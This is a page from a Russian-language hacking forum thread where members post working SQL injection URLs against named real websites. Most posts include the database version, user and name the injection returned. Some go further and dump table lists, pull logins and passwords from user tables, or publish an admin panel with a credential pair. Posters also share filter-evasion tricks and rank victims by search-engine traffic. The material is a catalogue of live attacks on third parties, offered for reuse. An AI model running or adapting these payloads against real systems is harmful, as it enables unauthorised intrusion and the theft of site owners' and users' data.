SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 716 of 798
  1. g0rm0n

    g0rm0n New Member

    Joined:
    18 Aug 2010
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    Code:
    http://www.gameplanpros.com/v.php?id=8+union+select+1,2,3,4,5,6,7,8,9,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,11,12,13--+
    5.1.58-community-log:gamepla5_gameplan:gamepla5_gpweb@localhost
    Code:
    http://www.avk-bearing.ru/n.php?id=8+union+select+1,2,3,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,5--+
    5.1.41-log:nowhere_db:[email protected]
    Code:
    http://www.mukeshmarwah.net/b.php?id=8+union+select+1,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,3,4,5,6,7
    5.0.92-log:mm-1967694:[email protected].
    Code:
    http://www.sirohibazar.com/b.php?id=-8+union+select+1,2,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,4,5,6
    5.0.22-community-nt:news:news@localhost
    Code:
    http://bergtouren.hohmann-edv.de/bergwanderungen/b.php?ID=-8+union+select+1,2,3,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,5,6,7--+
    5.1.47-log:ilo01247-bergtouren:ilo01247@localhos
     
    #14301 g0rm0n, 11 Nov 2011
  2. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    FIDEPP_SE1@LOCALHOST:5.2.4-MARIADB:FIDEPP_SE1
     
    #14302 stepashka_, 11 Nov 2011
    1 person likes this.
  3. Albseera

    Albseera New Member

    Joined:
    29 Nov 2010
    Messages:
    1
    Likes Received:
    0
    Reputations:
    -1
    Помогите разобраться с этим монстром , никак не получается раздобыть таблицы :

    http://ch eck-e ngine.ru/support.php?idt=-1+UNION+SELECT+1,version(),3,4--

    4.0.27-log
    Неужели кроме брута здесь никак ?
     
    #14303 Albseera, 11 Nov 2011
  4. Drager

    Drager Member

    Joined:
    2 Nov 2011
    Messages:
    12
    Likes Received:
    16
    Reputations:
    32
    loongson.cn

    www.loongson.cn
    [PR = 5]
    [тИЦ = 10]

    Code:
    http://www.loongson.cn/solutions_two.php?id=45+AND+1=2+UNION+SELECT+1,2,3,4,5,CONCAT_WS(CHAR(45),USER(),VERSION(),DATABASE())+--+
[SIZE=1]или[/SIZE]
http://www.loongson.cn/product_info.php?id=31+AND+1=2+UNION+SELECT+1,2,3,4,5,CONCAT_WS(CHAR(45),USER(),VERSION(),DATABASE())+--+
    [email protected]+lenny2-loongson_www_cn

    Из интересного: у администратора мощный пароль =]

    Кстати, знаете что такое Loongson? Ссылка: ru.wikipedia.org/wiki/Loongson
     
    #14304 Drager, 12 Nov 2011
    3 people like this.
  5. Drager

    Drager Member

    Joined:
    2 Nov 2011
    Messages:
    12
    Likes Received:
    16
    Reputations:
    32
    www.heroworld.net
    [PR=4]
    [тИЦ=10]

    Code:
    http://www.heroworld.net/news.php?id=957+AND+1=2+UNION+SELECT+1,2,3,4,CONCAT_WS(CHAR(45),USER(),VERSION(),DATABASE()),6,7,8,9,10+--+
    [email protected]_top
     
    #14305 Drager, 12 Nov 2011
  6. aydin-ka

    aydin-ka Elder - Старейшина

    Joined:
    3 May 2009
    Messages:
    316
    Likes Received:
    98
    Reputations:
    29
    тиЦ 325 PR 5
    Code:
    http://www.ladogaspb.ru/ru/s/4/promyshlennaya_gruppa_ladoga.html?msid=999999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,15,16+--+
    test77@localhost:test77_cl_spbnews_ru:5.0.67
    Таблицы
    Code:
    http://www.ladogaspb.ru/ru/s/4/promyshlennaya_gruppa_ladoga.html?msid=999999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat%28table_name%29,15,16+FROM+INFORMATION_SCHEMA.TABLES--
    PHP:
    albums_de,albums_en,albums_es,albums_fr,albums_ru,ban_de,ban_en,ban_es,ban_fr,ban_ru,bantyp,carousel_de,carousel_en,carousel_es,carousel_fr,carousel_ru,catalog_de,catalog_en,catalog_es,catalog_fr,catalog_ru,catitem_de,catitem_en,catitem_es,catitem_fr,catitem_ru,cns_advert_pages,cns_advert_referers,cns_cache_advert_cost,cns_cache_destinations,cns_cache_referers,cns_cache_robots,cns_cache_servers,cns_config,cns_counter,cns_counter_total,cns_data,cns_filteritems,cns_filterlist,cns_filterrelation,cns_goodies,cns_googlecache,cns_ipalias,cns_languages,cns_log,cns_openstat,cns_restorepassword,cns_rss_cache,cns_rss_rebuild,cns_size,cns_slide_cache,cns_slides,cns_subnets,cns_today,cns_users,cns_users_access,cns_users_sessions,cns_who_cache,contact_de,contact_en,contact_es,contact_fr
    Code:
    http://www.ladogaspb.ru/ru/s/4/promyshlennaya_gruppa_ladoga.html?msid=999999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat%28id_user,0x3a,report%29,15,16+from+cns_users_access--
    php info - http://www.ladogaspb.ru/phpinfo.php
     
    #14306 aydin-ka, 12 Nov 2011
    1 person likes this.
  7. Boolean

    Boolean Elder - Старейшина

    Joined:
    5 Sep 2010
    Messages:
    147
    Likes Received:
    83
    Reputations:
    78
    SQLinj In SQLinj

    Code:
    http://erfen.ru/antispam/region.php?num=9631234567+and+1=2+union+select+1,2+--+
    Встроенный запрос! :)
    Code:
    http://erfen.ru/antispam/region.php?num=9631234567 and 1=2 union select '2 and 1=3 union select concat_ws(0x3b,version(),user(),database()) -- ',0 --+
     
    #14307 Boolean, 12 Nov 2011
    1 person likes this.
  8. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173

    Boolean Подскажи, для чего используют встроенный запрос?
     
    #14308 OxoTnik, 13 Nov 2011
  9. shadowrun

    shadowrun Banned

    Joined:
    29 Aug 2010
    Messages:
    842
    Likes Received:
    170
    Reputations:
    84
    Code:
    http://www.captainsofcrush.ru/grippers/info.php?id=-18+union+select+1,photo2,3,4,5,6,7,8+FROM+catalog+--+
    ТИЦ - 30
    PR - 3

    Code:
    http://www.povituha.ru/news.php?id=9999999+union+select+1,2,database,4,5,6+--+
    ТИЦ - 50
    PR - 3

    Code:
    http://dizelbox.net/news.php?id=-1+union+select+1,database%28%29,3,4,5+--+
    ТИЦ - 0
    PR - 3
    админка
    Code:
    http://dizelbox.net/adm/indexx.php
    admin:zx89pe531yz

    Code:
    marketing.rbc.ua/file.php?id=-1+union+select+CONCAT_WS(0x3a,user(),version(),DATABASE()),2,3+--+
    research@localhost:5.0.91:rbc_research_new

    ТИЦ -140
    PR - 5
     
    #14309 shadowrun, 13 Nov 2011
    Last edited: 13 Nov 2011
    1 person likes this.
  10. g0rm0n

    g0rm0n New Member

    Joined:
    18 Aug 2010
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    Code:
    http://www.feldgrau.com/articles.php?ID=-32+union+select+1,2,3,4,5,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,7,8--+
    5.0.51a-3ubuntu5.8:feldgrau:feldgrau@localhost

    Code:
    http://www.choices.edu/resources/detail.php?id=-32+union+select+1,2,3,4,5,6,7,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--+
    4.1.22-log:Choices:[email protected]
     
    #14310 g0rm0n, 14 Nov 2011
    Last edited: 14 Nov 2011
  11. shadowrun

    shadowrun Banned

    Joined:
    29 Aug 2010
    Messages:
    842
    Likes Received:
    170
    Reputations:
    84
    Code:
    http://keystone.com.ua/print_ground.php?id=-2451+union+select+concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,2,3,4,5,6,7,8,9,10,11,12,13,14+--+
    PR - 4
    ТИЦ - 60

    Code:
    http://autoline24.com.ua/russian/search.php?id=1%27+union+select+1,2,3+--+
    Чето дальше нивкакую :cool:
     
    #14311 shadowrun, 14 Nov 2011
    Last edited: 14 Nov 2011
    1 person likes this.
  12. aydin-ka

    aydin-ka Elder - Старейшина

    Joined:
    3 May 2009
    Messages:
    316
    Likes Received:
    98
    Reputations:
    29
    тИЦ 210 Трафик 2К
    Code:
    http://2010001.ru/news/index.php?rzd=99999999/**/UnIoN/**/SeLeCt/**/1,2,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
    h2zhilf_ramm@localhost:h2zhilf_news:5.0.77
    Таблицы
    Code:
    http://2010001.ru/news/index.php ?rzd=99999999/**/UnIoN/**/SeLeCt/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+INFORMATION_SCHEMA.TABLES--
    PHP:
    users,basa,basa_comm,basa_comm_biz,basa_comm_hot,basa_comm_hot_top,basa_comm_pur,basa_comm_region
    Вывод из колонок
    Code:
    http://2010001.ru/news/index.php ?rzd=99999999/**/UnIoN/**/SeLeCt/**/1,2,concat_ws(user_id,0x3a,login),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+users--
     
    #14312 aydin-ka, 14 Nov 2011
    Last edited: 14 Nov 2011
    2 people like this.
  13. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173

    Смотрите внимательно слева

    Админка
     
    #14313 OxoTnik, 14 Nov 2011
    2 people like this.
  14. Drager

    Drager Member

    Joined:
    2 Nov 2011
    Messages:
    12
    Likes Received:
    16
    Reputations:
    32
    Coffee Board of India - www.indiacoffee.org

    [PR=5]
    [тИЦ=10]

    Code:
    http://indiacoffee.org/indiacoffee.php?page=MarketInfo%27+AND+1=2+UNION+SELECT+CONCAT_WS(CHAR(45),USER(),VERSION(),DATABASE())+--+
    indiacof@67.15.184.41-5.0.84-percona-highperf-b18-log-indiacoffee

    Интересные таблички: tb_admin_user, tb_user_details, user_data

    Администраторы: Dr.Babu Reddy, Mr.Bharath Kumar, Mr.Mohandas

    ...а в целом, вкусная кофейная компания...
     
    #14314 Drager, 15 Nov 2011
    1 person likes this.
  15. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    городской информационный портал

    http://krasnoturinsk.org/cgi-bin/news/index.pl?id=-381+union+all+select+1,concat_ws(char(58),@@version,user(),database()),3,4,5,6,7,8,9,10,11--#.TsICu4SHHsz

    4.1.22 [email protected] TEST
     
    #14315 AC//DC, 15 Nov 2011
  16. HellFire

    HellFire Elder - Старейшина

    Joined:
    18 Jan 2009
    Messages:
    98
    Likes Received:
    78
    Reputations:
    40
    Code:
    http://isaxon.com/ru/album.php?id=1-999999999.9+UNION+SELECT+1,2,3,4,5,6,7,8,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),0x71),0x71),10--
    Database Version: 5.5.17-log
    Database name: cxm
    User name: cxm@localhost


    Какая-то шняга с текстами песен...

    Code:
    http://knifetricks.ru/market/more.php?id=1-0.1+UNION+SELECT+1,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),0x71),0x71),3,4,5,6,7,8,9,10,11--
    Database Version: 5.0.77-log
    Database name: rosforex_1
    User name: rosforex_1@localhost


    Сделанный на коленке русский шоп ножей...
     
    #14316 HellFire, 15 Nov 2011
    Last edited: 15 Nov 2011
    2 people like this.
  17. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    Мой сайт :)

    Тиц 700 траф ~4500 К в сутки

    Вывод в титле

    Если кто знает как пройти дальше, напишите пожалуйста в личку.
     
    #14317 OxoTnik, 16 Nov 2011
  18. tabletkO

    tabletkO Banned

    Joined:
    3 Nov 2011
    Messages:
    83
    Likes Received:
    20
    Reputations:
    11
    OxoTnik,
    Code:
    http://www.oxothik.ru/index.php?action=articles&id=-114+union+[B]%0A[/B]+select+table_name+from+information_schema.tables+--+
    Code:
    http://www.oxothik.ru/index.php?action=articles&id=-114+union+%0A+select+login+from+tour_users+limit+0,1+--+
    Code:
    http://www.oxothik.ru/index.php?action=articles&id=-114+union+%0A+select+password+from+tour_users+limit+0,1+--+
    А чего тут сложного?)


    P.S. %0A = Enter...
    Друг, "к" означает три нуля, т.е. 1k = 1000, 2.5k = 2500 и т.д. А тут 4500K это уже 4.5 миллиона :eek:
    -------------------------------

    По сабжу:
    тИЦ 10
    Code:
    http://www.topreferat.com/josparesep.php?id=7+union+%0A+select+1,table_name,3,4+from+information_schema.tables+--+
     
    #14318 tabletkO, 16 Nov 2011
    Last edited: 16 Nov 2011
    1 person likes this.
  19. o'clock

    o'clock Elder - Старейшина

    Joined:
    16 May 2009
    Messages:
    125
    Likes Received:
    22
    Reputations:
    11
    Code:
    http://www.egolife.kz/catalog/showproduct/id/18+union+select+concat_ws%28user%28%29,version%28%29,database%28%29%29,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,12,43,44,45,46,47,48
     
    #14319 o'clock, 16 Nov 2011
    2 people like this.
  20. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    Сайт скучный, трата времени, пассы не смог расшифровать за 3 дня полным перебором 12 символов

    4 мускул
     
    #14320 OxoTnik, 16 Nov 2011
    Last edited: 17 Nov 2011
    1 person likes this.
(You must log in or sign up to post here.)
Page 716 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.